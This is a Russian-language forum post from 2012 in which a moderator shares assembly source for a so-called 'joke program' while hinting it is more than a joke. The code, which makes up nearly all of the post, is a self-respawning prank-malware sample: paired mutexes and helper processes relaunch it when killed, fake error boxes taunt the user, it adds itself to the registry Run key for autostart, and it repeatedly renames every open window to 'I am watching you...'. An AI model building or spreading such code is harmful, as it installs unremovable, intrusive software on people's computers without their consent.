Дата: Воскресенье, 24.06.2012, 17:47 | Сообщение # 1
Постоянный
Зарегистрирован: 19.12.2009
Группа: Модераторы
Сообщений: 182
Статус: Offline
В очередной раз бродя по просторам Интернета, Я наткнулся на /code, аффтор позиционирует её как программа-шутка, но мы-то знаем, что "в каждой шутке есть доля шутки, а всё остальное правда"
dwThreadID dd ? dwLastError dd ? dwCurrentPID dd ? ; Мьютески, используются в перекрестном режиме psMutexName1 db '_suxMutex1',0 psMutexName2 db '_suxMutex2',0 ; Этот мьютекс для убивания процесса ; Если он будет занят, то восстановление процесса бедет отключено psMutexKill db '_suxMutexK',0
; Указатель на хэндл "текущего" (для процесса) мьютекса phMutexCheck dd ?
psSystemError1Body db 'Ошибка! Процесс не завершен!',13,\ 'К сожалению сразу же после завершения, данный процесс запустился снова.',13,\ 'Попробуйте повторить операцию еще раз. Может быть повезет. :)',0 psSystemError1 db 'Ошибка! Процесс не завершен!',0
psSystemKillBody db 'Теперь убейте все процессы с именем',13,'%s',13,\ 'и имеющими ID, отличными от %d',0 psSystemKill db 'Внимание!',0 psBuffer db 300 DUP(?)
psGaGaGa db 'Я за тобой наблюдаю...',0
; Здесь хранится текущая директория с именем файла psDirectory db 200 DUP(?)
; Константы для командной строки TEMP_PROCESS EQU 't' KILL_PROCESS EQU 'k' ; Параметры командной строки psCmdTemp db TEMP_PROCESS,0 psCmdKill db KILL_PROCESS,0 ; Это ветвь реестра для автозагрузки psRegPath db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; Имя программы psNameProg db 'FunProg',0
a_si STARTUPINFO ? a_pi PROCESS_INFORMATION ?
section '.code' code readable executable start: ; Подготовка: получаем путь до программы invoke GetModuleHandle invoke GetModuleFileName, eax, psDirectory, 200 ; Получаем указатель на строку с параметрами запуска invoke GetCommandLine ; Ставим указатель на последний символ параметров командной строки mov edx, eax stdcall strlen, eax add eax, edx dec eax ; Если передан параметр k, то перемещаемся на кусок кода для блокировки cmp byte [eax], KILL_PROCESS je _KillProcess ; Если в возвращенной строке 1ый символ t (от temp), то это сигнал, что данный процесс является посредником.. cmp byte [eax], TEMP_PROCESS jne _noTempProcess ; В начале проверка блокирующего мьютекса ; Проверяем занятость блокирующего мьютекса invoke CreateMutex, NULL, FALSE, psMutexKill mov [hMutex], eax ; Если семафор не создан, то проходим без изменений invoke GetLastError cmp eax, ERROR_ALREADY_EXISTS je _noCreateProcess ; Вызываем процесс "не посредник" invoke CreateProcess, NULL, psDirectory, NULL, NULL, FALSE, 0, NULL, NULL, a_si, a_pi _noCreateProcess: ; Обязательное закрытие хэндла мьютекса invoke CloseHandle, [hMutex] jmp _ExitProcess _noTempProcess:
; Создаем именованный мьютеск (1) invoke CreateMutex, NULL, FALSE, psMutexName1 mov [hMutex], eax ; Если мьютеск создан, создаем еще один процесс, иначе, если ошибка (семафор уже создан в другом потоке), то не порождаем процесса invoke GetLastError cmp eax, ERROR_ALREADY_EXISTS jne _Mutex1next invoke CloseHandle, [hMutex] ; Создаем именованный мьютеск (2) invoke CreateMutex, NULL, FALSE, psMutexName2 ; Обязательное закрытие хэндла mov [hMutex], eax ; Если семафор создан, создаем еще один процесс, иначе, если ошибка (семафор уже создан в другом потоке), то не порождаем процесса invoke GetLastError cmp eax, ERROR_ALREADY_EXISTS jne _Mutex2next ; Обязательное закрытие хэндла invoke CloseHandle, [hMutex] ; Прыжек на завершение jmp _ExitProcess _Mutex1next: ; Порождение дочернего процесса (посредника) invoke CreateProcess, psDirectory, psCmdTemp, NULL, NULL, FALSE, 0, NULL, NULL, a_si, a_pi ; Занесение в проверяемый мьютеск адрес имени 2ого мьютеска mov [phMutexCheck], psMutexName2 jmp _EndInitial _Mutex2next: ; Занесение в проверяемый мьютеск адрес имени 1ого мьютеска mov [phMutexCheck], psMutexName1 ; создаем дочерний поток, в нем будет работать сам "вредный код". invoke CreateThread, NULL, 0, DestructFunction, NULL, 0, NULL _EndInitial: invoke Sleep, 150 ; Конец инициализации программы, далее рабочая часть: _RepeatBody: ; Код проверки на существование мьютекса: invoke CreateMutex, NULL, FALSE, [phMutexCheck] ; Сразу закрытие хэндла (иначе его не захватит другой процесс) invoke CloseHandle, eax ; Если мьютеск создан, создаем еще один процесс, иначе, если ошибка (мьютекс уже создан в другом потоке), то не порождаем процесса invoke GetLastError cmp eax, ERROR_ALREADY_EXISTS je _MutexExist ; Если проверяемый мьютекс не существует, то создание еще одного потока (посредника) invoke CreateProcess, psDirectory, psCmdTemp, NULL, NULL, FALSE, 0, NULL, NULL, a_si, a_pi ; Вывод сообщения о "неудачном" завершении invoke CreateThread, NULL, 0, MessageFunction, NULL, 0, NULL ; Задержка, чтобы процесс успел запуститься invoke Sleep, 200 _MutexExist: ; Здесь код проверки и добавления ключа реестра ; HKEY_CURRENT_USER - ветка для конкретного пользователя ; HKEY_LOCAL_MACHINE - ветка "для всех", но доступна на запись только для администратора ; Открываем нужную ветку в реестре invoke RegCreateKeyEx, HKEY_CURRENT_USER, psRegPath,\ NULL, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, hKey, NULL ; Добавляем/заменяем запись автозагрузки invoke RegSetValueEx, [hKey], psNameProg, NULL, REG_SZ, psDirectory, 200 ; Закрываем реестр invoke RegCloseKey, [hKey]
; Задержка, чтобы не грузило проц... invoke Sleep, PRIMARY_DELAY jmp _RepeatBody
; Это главная функция, содуржащая какой-либо код для выполнения proc DestructFunction arg:DWORD push ebx esi edi ; Задержка перед первым проявлением invoke Sleep, FIRST_DELAY .repeat: ; ; Основной цикл рабочей ф-ции ;
; Перебор всех окон invoke EnumWindows, EnumHWND, 0
; ; Интервал повторения ; invoke Sleep, DESTRUCT_DELAY jmp .repeat pop edi esi ebx ret endp
; Вспомогательная деструктивная функция (меняет заголовок окна) proc EnumHWND hwnd:DWORD, lparam:DWORD push edi esi ebx ; Посылка сообщения для изменения заголовка invoke SendMessage, [hwnd], WM_SETTEXT, 0, psGaGaGa pop ebx esi edi ret endp
; Ф-ция возвращает длину null строки proc strlen stdcall lpSting:DWORD push ecx edx mov ecx,[lpSting] sub edx,edx sub eax,eax .l00p: cmp [ecx],dl je .ret inc ecx inc eax jmp .l00p .ret: pop edx ecx ret endp
; Данная функция выводит сообщение о "неудачном" завершении процесса. proc MessageFunction arg:DWORD push ebx esi edi invoke MessageBox, NULL, psSystemError1Body, psSystemError1, MB_ICONERROR pop edi esi ebx ret endp